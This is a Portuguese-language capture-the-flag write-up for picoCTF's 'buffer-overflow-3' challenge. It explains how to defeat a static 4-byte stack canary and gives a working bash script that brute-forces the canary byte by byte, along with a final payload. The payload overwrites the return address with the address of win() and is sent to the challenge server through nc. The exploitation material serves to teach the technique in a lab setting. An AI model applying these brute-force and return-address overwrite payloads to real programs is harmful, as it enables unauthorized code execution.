Skip to content

Latest commit

 

History

History

buffer-overflow-3

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 
 
 

Neste desafio, temos um stack canary, um mecanismo de verificação de integridade da stack.

O stack canary geralmente é um recurso adicionado pelo próprio compilador e consiste em gerar bytes aleatórios e posicioná-los na stack.

Caso ocorra stack smashing, ou seja, caso a stack seja sobrescrescrita por algum buffer overflow, esses bytes aleatórios serão alterados, o programa saberá que foi modificado e se fechará.

Porém, neste caso, o canary (os bytes adicionados à stack) não é aleatório e é pequeno (4 bytes, conforme é possível ver no código), o que possibilita um ataque de brute force.

Como o buffer tem 64 bytes, podemos escrever 64 bytes e os próximos serão comparados com o canary. É possível ver que ao mudar o 65º byte (que já está sobrescrevendo o canary), podemos descobrir qual é o seu valor real. Caso o valor esteja errado, ele retorna um erro. Caso contrário, ele retorna "Ok".

Podemos facilmente fazer um script de brute force em bash:

#!/bin/bash

#bufsize + first byte from canary
bytes=64
aux=$(($bytes - 64))
#define BUFSIZE 64
size=$(($bytes-$aux))

echo "[*] Bruteforcing canary..."
#fill all the buffer
for x in 1 1 1 1; do
	bytes=$(($bytes + $x))
	buf=$(for i in `seq $size`; do echo -n "A";done)
	for((i=32;i<127;i++)); do
		current_canary=$(printf "\\$(printf %03o "$i")")
		payload=${buf}${old_canary}${current_canary}
		result=$(echo -ne "$bytes\n$payload" | ./vuln)
	#	result=$(echo -ne "$bytes\n$payload" | nc saturn.picoctf.net 49980)
		if [ "$(echo -n $result | grep Ok)" ]; then
			old_canary=${old_canary}${current_canary}
			echo $old_canary
			echo ${buf}${old_canary}
			break
		fi
	done
done

echo -e "[*] End bruteforcing. Canary found: $old_canary"

Ele nos retorna o canary contido no canary.txt do servidor. Uma vez descoberto, basta usarmos-no após os 64 bytes do buffer. Dessa forma, o canary não será alterado e poderemos escrever após ele mantendo sua integridade.

Depois disso, basta adicionarmos mais 16 bytes de padding e podemos controlar o EIP ao sobrescrever o endereço de retorno.

Como a função win() está no endereço 0x08049336, é para ele que apontaremos o EIP. Isso pode ser feito no próprio script:

payload=$(echo 100;for i in `seq 64`; do echo -n "A";done; echo -n $old_canary; echo -n "16BytesOfGarbage"; echo -ne "\x36\x93\x04\x08")
echo -ne "$payload" | nc saturn.picoctf.net 54738